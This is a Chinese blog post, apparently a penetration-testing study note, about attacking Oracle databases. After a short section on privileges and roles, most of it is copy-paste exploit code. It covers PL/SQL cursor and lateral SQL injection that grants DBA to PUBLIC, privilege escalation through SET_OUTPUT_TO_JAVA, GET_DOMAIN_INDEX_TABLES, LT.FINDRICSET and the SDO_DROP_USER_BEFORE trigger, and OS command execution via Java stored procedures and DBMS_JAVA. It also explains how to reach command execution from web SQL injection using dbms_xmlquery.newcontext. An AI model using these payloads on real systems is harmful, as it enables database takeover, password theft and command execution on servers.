渗透测试-30:Oracle

基础知识

  • 端口号:1521

  • 下载地址:

  • sqldeveloper 工具连接

  • Oracle 权限

    • ORACLE 系统提供三种权限:Object 对象级System 系统级Role 角色级
  • 如果授予一个权限给特殊用户 Public(用户 public 是 oracle 预定义的,每个用户享有这个用户享有的权限),那么就意味作将该权限授予了该数据库的所有用户

  • 权限被大体分为两类:

    • 系统权限:系统规定用户使用数据库的权限(系统权限是对用户而言)

      • 系统权限就是我们常见的 CREATE SESSION、ALTER SESSION 等权限,这些权限通常通过角色来进行分配
      • oracle 中有几个常见的预定义角色:
        • DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构
        • RESOURCE: 拥有 Resource 权限的用户只可以创建实体,不可以创建数据库结构
        • CONNECT: 拥有 Connect 权限的用户只可以登录 Oracle,不可以创建实体,不可以创建数据库结构
      • 一般普通用户拥有 connect、resource 角色,而管理员拥有 connect、resource、dba 角色
    • 实体权限:某种权限用户对其它用户的表或视图的存取权限(是针对表或视图而言的)

      • 简单说就是用户对表、视图、存储过程等有什么权限
      • 表权限:SELECT、DELETE、UPDATE、INSERT、ALTER
      • 视图权限:SELECT、DELTE、INSERT、UPDATE
      • 过程、函数、程序包权限:EXECUTE、DEBUG
    • 权限查询

      -- 查看所有角色
      select * from dba_roles;
      
      -- 查看当前用户被激活的全部角色
      select * from session_roles;
      
      -- 查看当前用户被授予的角色
      select * from user_role_privs;
      
      -- 查看当前用户是否为DBA
      select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA';
      
      -- 查看当前用户所拥有的全部权限
      select * from session_privs;
      
      -- 查看当前用户的系统权限
      select * from user_sys_privs;
      
      -- 查看当前用户的表级权限
      select * from user_tab_privs;
      
      -- 查看某个用户所拥有的系统权限
      select * from dba_sys_privs;
      
      -- 查看角色(只能查看登陆用户拥有的角色)所包含的权限
      select * from role_sys_privs;
      
      -- 查看用户的java权限(用户名必须大写)
      select * from user_java_policy where grantee_name='SCOTT';
      
      -- 设置输出列宽,优化 sqlplus 交互式命令行的输出
      COL TYPE_NAME FOR A30;
      COL NAME FOR A30;
      COL ACTION FOR A10;
      select TYPE_NAME, NAME, ACTION from user_java_policy where grantee_name = 'TEST4';
      
    • 权限更改

      • 可以通过 GRANT 和 REVOKE 命令来对账户进行权限的授予和撤回,一般这些操作会由 DBA 用户(SYS 用户和 SYSTEM 用户)来执行
      • 而权限的赋予通常也是通过角色(Role)这个“桥梁”来做的(当然也可以直接赋给 user),举个例子,创建一个用户,并给该用户赋予 create sessioncreate procedure
      -- 进入交互式命令行
      sqlplus
      
      -- 创建一个的用户
      create user <用户名> identified by <密码>;
      
      -- 创建一个 role
      create role <角色名>;
      
      -- 将 connect 和 create procedure 赋给 testrole
      grant connect,create procedure to <角色名>;
      
      -- 将testrole这个角色给用户test
      grant <角色名> to <用户名>;
      
      -- 这样我们可以将 testrole 给多个用户,修改权限时只需要添加/删除角色的权限即可,方便批量管理,类似Active Directory中的组
      
      -- 使用 revoke 收回某个权限
      revoke create procedure from <角色名>;
      
      -- 修改用户密码
      alter user <用户名> identified by <密码>;
      
      -- 删除用户和角色
      drop user <用户名> cascade;
      drop role <角色名>;
      

PL/SQL注入

PL/SQL 是 Oracle 公司在标准 SQL语言 的基础上进行扩展,可以在数据库上进行设计编程的一种过程化的语言,类似程序语言 JAVA 一样可以实现逻辑判断、条件循环、异常处理等细节操作,可以处理复杂性问题

  1. 如果 PL/SQL 使用 AUTHID CURRENT_USER 关键词创建,它执行时会以调用者(invoker)的权限来执行
  2. 如果没有 AUTHID CURRENT_USER 这个关键词,它执行时会以它的定义者(definer)的权限来执行
  3. 注:Oracle不支持堆叠注入(多语句执行)

Cursor注入

下面这个 procedure 由 DBA(SYS) 创建,并赋予 public 执行权限,数据库能所有用户都可以调用这个 procedure

由于没有声明 AUTHID CURRENT_USER,所以该存储进程执行时的权限是其定义者(definer),也就是SYS

CONNECT / AS SYSDBA;

CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS
WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

GRANT EXECUTE ON GET_OWNER TO PUBLIC;

很明显 P_OBJNM 是存在 SQL 注入的,但由于 Oracle 不支持堆叠查询,我们只能够使用联合查询来注出一些数据,但仅仅查数据肯定不能满足我们的需求

set serveroutput on;
-- 注入
exec SYS.GET_OWNER('AAA'' union select PASSWORD from SYS.DBA_USERS --');

创建一个执行其他命令的函数(需要 CREATE PROCEDURE 权限),并且加上 AUTHID CURRENT_USER,然后用 || 将函数注入到 SQL 语句中,当 SQL 语句以 SYS 权限执行时,这个被注入的函数作为 SQL 语句的一部分也会被执行

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 'GOT_DBA_PRIVS';
END;
/ 

-- 注入
exec SYS.GET_OWNER('AAA''||TEST5.GET_DBA --');

在这里的GET_DBA这种函数被称为辅助注入函数,如果我们没有办法自己创建辅助注入函数的话,就要寻找oracle上已经存在的、可以辅助注入的函数。其它的可以看这里:

Lateral SQL注入

主要针对以下两种情况:

  • Procedure 不接收用户输入的参数(参数不可控)
  • Procedure 中 SQL 语句拼接的参数被定义为 NUMBER 或 DATA 类型

下面这个存储过程接收一个日期类型的参数,并将参数动态拼接入 SQL 语句

create or replace procedure date_proc_2 (p_date DATE) is
stmt varchar2(200);
begin
stmt:='select object_name from all_objects where created = ''' || p_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/ 

-- 注入
exec date_proc_2('11''||TEST5.GET_DBA --');

-- 报错,通常这种情况可能被认为无法注入,但如果我们有 ALTER SESSION 权限的话,就可以欺骗 PL/SQL 编译器将任意 SQL 语句作为日期类型(其实原本这个功能是用来修改日期类型的格式的)

ALTER SESSION SET NLS_DATE_FORMAT = '"'' and TEST6.GET_DBA()=1--"';
-- 然后注入获取 DBA
exec SYS.date_proc_2(''' and TEST6.GET_DBA()=1--');
set role dba;

下面这个存储进程不接收任何参数,拼接入 SQL 语句中的参数从 sysdate 中获取

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' || v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/

-- 污染 date 类型
select SYSDATE from dual;
ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';
select SYSDATE from dual;

-- 成功添加一个单引号进去,此时我们再去执行上面的 Procedure,会得到一个单引号未正常闭合的报错
exec SYS.DATE_PROC();

-- 现在还不能将语句成功注入进去,因为 date 类型限制了长度
ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"';

-- 但是 oracle 有个游标(可以理解为给你的语句一个 ID,然后执行的时候直接通过 ID 执行即可)正好可以被我们所利用
-- 关于游标可参考:https://www.cnblogs.com/huyong/archive/2011/05/04/2036377.html
set serveroutput on;
DECLARE
N NUMBER;
BEGIN
N:=DBMS_SQL.OPEN_CURSOR();
DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO TEST5''; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
END;
/ 
-- 注意开启输出,不然无法打印游标号

-- 之后就是污染 date 类型,进而实现SQL注入
ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND DBMS_SQL.EXECUTE(1)=1--"';

-- 此时再执行 Procedure
exec SYS.DATE_PROC();

权限提升

SET_OUTPUT_TO_JAVA

  • 权限要求:CREATE SESSION

  • 测试环境:Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit

  • 原理:该函数可以利用前面提到的 Lateral SQL Injection 来进行注入,进而获取 DBA 权限

    • 这个函数允许用户在另一个新的虚拟 session 中重定向 java 输出写入到 System.out 和 System.err,最后两个参数的 SQL 语句将在这个新 session 中执行
    • 如果攻击者可以得到一个属于 SYS 的使用 java 的 package 并将它写入 System.out 和 System.err,那么这个新会话的所属者就是 SYS,进而所执行的 SQL 语句也将以 SYS 权限执行
    • DBMS_CDC_ISUBSCRIBE 正是一个符合条件 package,它可被 public 执行,属于 SYS 并且是 definer 权限执行,通过将无效的订阅名传递给这个包的 e INT_PURGE_WINDOW 过程,则可以将错误强制写入 System.err,随后将以SYS权限执行前一个请求的参数中提供的SQL语句
  • 利用

    -- 创建普通用户
    create user <用户名> identified by <密码>;
    
    -- 给用户连接赋予权限
    grant create session to <用户名>;
    
    -- 切换用户
    connect <用户名>/<密码>;
    
    -- 查看权限
    select * from user_role_privs;
    select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA';
    
    -- 开始提权,注意替换 GRANT 语句中的用户名
    SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO <用户名>''; END;', 'BEGIN NULL; END;') FROM DUAL;
    
    -- 这句执行会报错,但不影响结果
    EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
    
    -- 这句要不要都行,不执行的话直接 grant 赋权也行
    set role dba;
    
    -- 再次查看权限
    select * from user_role_privs;
    select * from session_privs;
    

GET_DOMAIN_INDEX_TABLES

  • 影响版本:Oracle Database <= 10g R2 (未打补丁的情况下)

  • 测试环境:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

  • 权限要求:CREATE SESSION

  • 原理:

    • SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES 函数的定义

      FUNCTION GET_DOMAIN_INDEX_TABLES (  
      TYPE_NAME IN VARCHAR2,  
      TYPE_SCHEMA IN VARCHAR2,  
      ...
      BEGIN  
      IF GET_TABLES = 1 THEN  
      GETTABLENAMES_CONTEXT := 0;
      ...
      ELSE  
      STMTSTRING :=  
      'BEGIN ' ||  
      '"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||  
      '".ODCIIndexUtilCleanup(:p1); ' ||  
      'END;';  
      DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);  
      DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);  
      DUMMY := DBMS_SQL.EXECUTE(CRS);  
      DBMS_SQL.CLOSE_CURSOR(CRS);  
      STMTSTRING := '';
      ...
      
    • 可以看到当 GET_TABLES != 1 时,TYPE_NAMETYPE_SCHEMA 被直接动态拼接进 PL/SQL 语句中并执行,由于这个函数是以 definer 权限来执行的,所以我们注入的语句也会以 SYS 权限来执行

    • 因此我们构造语句,传入参数TYPE_NAME

      DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2'''';END;'';END;--
      
    • 本地用 pl/sql 手动打印

      select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to dayu'''';END;'';END;--','SYS',0,'1',0) from dual;
      

LT.FINDRICSET

  • 测试环境:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

  • 权限要求:CREATE SESSION CREATE PROCEDURE

  • 原理:该方法利用 SYS.LT.FINDRICSET 这个函数的注入漏洞来实现权限的提升

    • 函数定义

      PROCEDURE FINDRICSET( TABLE_NAME VARCHAR2, RESULT_TABLE VARCHAR2 DEFAULT '' )  
      IS  
      TABOWNER VARCHAR2(100);  
      TABNAME VARCHAR2(100);  
      RESOWNER VARCHAR2(100);  
      RESNAME VARCHAR2(100);  
      BEGIN  
      SYS.LT_CTX_PKG.SETUSER ;
      
           TABOWNER := NVL(SUBSTR(UPPER(TABLE_NAME),1,INSTR(TABLE_NAME,'.')-1), SYS_CONTEXT('lt_ctx', 'current_schema'));
           TABNAME  := SUBSTR(UPPER(TABLE_NAME),INSTR(TABLE_NAME,'.')+1);
      
           IF ( RESULT_TABLE IS NOT NULL ) THEN
              RESOWNER := NVL(SUBSTR(UPPER(RESULT_TABLE),1,INSTR(RESULT_TABLE,'.')-1), SYS_CONTEXT('lt_ctx', 'current_schema'));
              RESNAME  := SUBSTR(UPPER(RESULT_TABLE),INSTR(RESULT_TABLE,'.')+1);
           END IF;
      
           IF ( RESULT_TABLE IS NOT NULL AND 
                NOT HASOUTPUTTABPRIVS( RESOWNER, RESNAME ) ) THEN SYS.WM_ERROR.RAISEERROR(SYS.LT.WM_ERROR_171_NO, 'insufficient privileges on the result table');
           END IF;
      
           SYS.LTRIC.FINDRICSET( TABOWNER, TABNAME, RESOWNER, RESNAME );
      
      END;
      
    • 这个函数又调用了 SYS.LTRIC.FINDRICSET,定义如下

      PROCEDURE FINDRICSET( IN_TABLE_OWNER VARCHAR2, IN_TABLE_NAME VARCHAR2,  
      RESULT_TABLE_OWNER VARCHAR2, RESULT_TABLE VARCHAR2 )  
      ... 
      EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values ( ''' || IN_TABLE_OWNER || ''',''' || IN_TABLE_NAME || ''' )'; 
      
    • IN_TABLE_OWNER和IN_TABLE_NAME 直接动态拼接到 SQL 语句中,是可以注入的点

    • 创建一个赋权的存储进程,然后闭合 SQL 语句,在参数处调用存储进程

      EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values (''A'',''A''||TEST2.GET_DBA) --' )';
      
  • 利用:

    -- 注意修改其中的用户名
    create or replace function get_dba return varchar2 authid current_user is PRAGMA autonomous_transaction;
    BEGIN 
    execute immediate 'grant dba to dayu';
    commit;
    return 'z';
    END; 
    /
    begin 
    sys.lt.findricset('A.A''||dayu.get_dba) --','BBBB');
    commit;
    end;
    /利用:
    
  • 注入环境中可使用 dbms_xmlquery.newcontext 来执行

    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
    begin execute immediate ''create or replace function get_dba return varchar2 authid current_user is PRAGMA  
    autonomous_transaction;BEGIN execute immediate ''''grant dba to hellove'''';commit;return ''''z'''';END; ''; commit; end;')  
    from dual;
    
    select dbms_xmlquery.newcontext('declare PRAGMA  
    AUTONOMOUS_TRANSACTION;begin sys.lt.findricset(''A.A''''||hellove.get_dba)--'',''BBBB'');commit;end;') from dual;
    

SDO_DROP_USER_BEFORE

  • 测试环境:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

  • 权限要求:CREATE SESSION

  • 这个是一个触发器(trigger)漏洞,触发器在数据库里以独立的对象存储,它与存储过程和函数不同的是,存储过程与函数需要用户显示调用才执行,而触发器是由一个事件来启动运行

  • 原理:

    • SDO_DROP_USER_BEFORE 触发器的的定义

      trigger sdo_drop_user_before  
      before drop on DATABASE  
      declare  
      stmt varchar2(200);  
      rdf_exception EXCEPTION; pragma exception_init(rdf_exception, -20000);  
      BEGIN  
      if dictionary_obj_type = 'USER' THEN  
      BEGIN  
      EXECUTE IMMEDIATE  
      'begin ' ||  
      'mdsys.rdf_apis_internal.' ||  
      'notify_drop_user(''' ||  
      dictionary_obj_name || '''); ' ||  
      'end;';  
      EXCEPTION  
      WHEN rdf_exception THEN RAISE;  
      WHEN OTHERS THEN NULL;  
      END;  
      end if;  
      end;
      
    • 可以看出这个触发器是在 drop 用户时会执行对应的命令,而 dictionary_obj_name 被动态拼接到 PL/SQL 中,存在注入

    • SDO_DROP_USER_BEFORE 这个触发器属于 MDSYS,而且是以definer的权限来执行的,MDSYS 在 oracle 9i 中是 DBA 权限,后来在 10g R2 上被降权了,因此无法直接通过注入来获取DBA权限

    • 但是也不是毫无办法,MDSYS 拥有 create any trigger,也就是说我们可以利用这个注入来任意创建触发器

    • 那么我们完全可以在 SYSTEM 下创建一个触发器来执行我们想要的命令,然后触发这个新创建触发器,从而以 system 来执行我们的命令

    • 直接看 POC,使用游标创建一个 procedure(当然也可以不使用游标),该过程在 system 下创建一个触发器,当向 system.OL$ 中插入数据时(默认 public 可向该表中插入数据),就会触发执行 grant dba to public

      DECLARE
      MY_CURSOR NUMBER;
      RESULT NUMBER;
      BEGIN
      MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
      DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); execute immediate ''create or replace trigger system.WHOPPEE before insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; end;',0);
      DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
      END;
      / 
      
    • 之后将注入该procedure的payload放到drop的用户名中,触发SDO_DROP_USER_BEFORE执行,再向system.OL$中插入数据即可

      DROP USER "'||CHR(DBMS_SQL.EXECUTE(5))||'";
      
      INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!');
      
  • 利用

    -- 一定要有这一句,不然后面的Cursor value无法输出
    SET SERVEROUTPUT ON;
    
    -- 注意修改grant的用户,执行后记下打印的Cursor value
    DECLARE
    MY_CURSOR NUMBER;
    RESULT NUMBER;
    BEGIN
    MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
    DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); execute immediate ''create or replace trigger system.WHOPPEE before insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''''''GRANT DBA TO SIMPLEUSER1''''''''; END; ''''; end WHOPPEE;''; commit; end;',0);
    DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
    END;
    / 
    
    -- DBMS_SQL.EXECUTE()中是前面得到的Cursor value
    DROP USER "'||CHR(DBMS_SQL.EXECUTE(5))||'"; 
    
    -- 插入数据来触发条件
    INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!');
    

命令执行

DBMS_XMLQUERY

  • 测试环境:

    • Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
    • Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
  • 权限要求:CREATE SESSION CREATE PROCEDURE

  • 创建用户

    create user Toki identified by 123456
    grant create session,create procedure to Toki;
    connect Toki/123456;
    
  • 创建 java source

    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
    
  • 创建函数

    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
    
  • 通过查询 OBJECT_ID 来判断函数是否创建成功

    select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';
    
  • 赋予需要的三个 java 权限:当前用户为 DBA 时,通常只需要为该用户赋予第一个执行权限即可

    DECLARE
    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
    BEGIN
    OPEN C1;
    FETCH C1 BULK COLLECT INTO POL;
    CLOSE C1;
    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
    END;
    /
    DECLARE
    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
    BEGIN
    OPEN C1;
    FETCH C1 BULK COLLECT INTO POL;
    CLOSE C1;
    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
    END;
    /
    DECLARE
    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
    BEGIN
    OPEN C1;
    FETCH C1 BULK COLLECT INTO POL;
    CLOSE C1;
    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
    END;
    /
    
  • 执行命令

    select LINXRUNCMD('/sbin/ifconfig') from dual;
    

创建存储进程执行命令

  • 测试环境:

    • Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
    • Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
  • 权限要求:CREATE SESSION CREATE PROCEDURE

  • 有时执行命令也会碰到这种报错,此时需要为用户赋予 java 的对应权限,最好执行前先执行一次 dbms_xmlquery 中赋予那三个权限的命令,如果你已经创建完 javae 函数在执行命令时发现了这个报错,那么要再执行一次 2.sql,然后再执行 javae 函数

  • 将下面文件分别保存为:

    • 1.sql

      DECLARE
      POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
      CURSOR C1 IS SELECT 
      'GRANT',USER(),'SYS','java.io.FilePermission',
      '<<ALL FILES>>','execute','ENABLED' FROM DUAL;
      BEGIN
      OPEN C1;
      FETCH C1 BULK COLLECT INTO POL;
      CLOSE C1;
      DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
      END;
      /
      
    • 2.sql

      create or replace and resolve java source named "oraexec" as
      import java.lang.*;
      import java.io.*;
      public class oraexec
      {
          public static String execCommand(String command) throws IOException, InterruptedException {
              Runtime rt = Runtime.getRuntime();
              int bufSize = 4096;
              byte buffer[] = new byte[bufSize];
              String rc = "";
              int len;
              try{
                  Process p = rt.exec(command);
                  BufferedInputStream bis =
                          new BufferedInputStream(p.getInputStream(), bufSize);
                  while ((len = bis.read(buffer, 0, bufSize)) != -1){
                      rc += new String(buffer).split("\0")[0];;
                  }
                  bis.close();
                  p.waitFor();
                  return rc;
              } catch (Exception e) {
                  rc = e.getMessage();
              }
              finally
              {
                  return rc;
              }
          }
      }
      /
      create or replace
      function javae(p_command in varchar2) return varchar2
      as
      language java
      name 'oraexec.execCommand(java.lang.String) return String';
      /
      
  • 放在 sqlplus 同级目录下,然后分别执行

    SQL> @1.sql
    SQL> @2.sql
    
  • 执行命令

    select javae('/sbin/ifconfig') from dual;
    

DBMS_JAVA.RUNJAVA

  • 测试环境:

    • Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
    • Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
  • 权限要求:CREATE SESSION

  • 先给当前用户赋予 java.io.FilePermission

    DECLARE
    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    CURSOR C1 IS SELECT 
    'GRANT',USER(),'SYS','java.io.FilePermission',
    '<<ALL FILES>>','execute','ENABLED' FROM DUAL;
    BEGIN
    OPEN C1;
    FETCH C1 BULK COLLECT INTO POL;
    CLOSE C1;
    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
    END;
    /
    
  • 执行命令

    -- 11g
    SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/success') FROM DUAL;
    
    -- 10g/11g, 注意 10g 中还需要 readFileDescriptor 和 writeFileDescriptor
    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/1.txt') FROM DUAL;
    

Web层面的利用

  • 前面提到过 Oracle 并不支持堆叠注入,但是前面介绍的 dbms_xmlquery.newcontext 是可以执行 PL/SQL 语句的,因此当我们遇到 Oracle 的 SQL 注入点时,就可以构造执行 dbms_xmlquery.newcontext 的语句来进行命令执行

  • 总结

    • 一般 PL/SQL 注入利用的条件:存在注入的 PL/SQL 属于高权限用户(一般关注SYS),且以 definer 权限执行
    • 对用户权限的要求:如果用户没有 CREATE PROCEDURE 权限,则需要寻找数据库已有的辅助注入函数,如果用户有 CREATE PROCEDURE 权限,则可以自己创建辅助注入函数
    • 如果没有辅助注入函数
      1. 如果注入点是在 execute immediate 后的 PL/SQL 语句中,那么可以考虑直接注入匿名 PL/SQL 语句块
      2. 如果存在注入的是 insert、delete、update 这三种类型的语句,那么我们就可以利用现有的语句进行增删改操作,特别是 insert 情况下可以通过将当前用户插入到 SYS.SYSAUTH$ 表中,同样可获得 DBA 权限
      3. 如果存在注入的是 select 这种类型的语句,那么我们就只能对数据库进行查询操作,如 UNION SELECT PASSWORD FROM SYS.USER$,当然前提是它有输出
    • 当遇到 Web 层面的 SQL 注入时,需要构造 dbms_xmlquery.newcontext 执行 PL/SQL 的语句来进行命令执行即可
posted @ 2022-05-18 22:13  toki-plus  阅读(94)  评论(0编辑  收藏  举报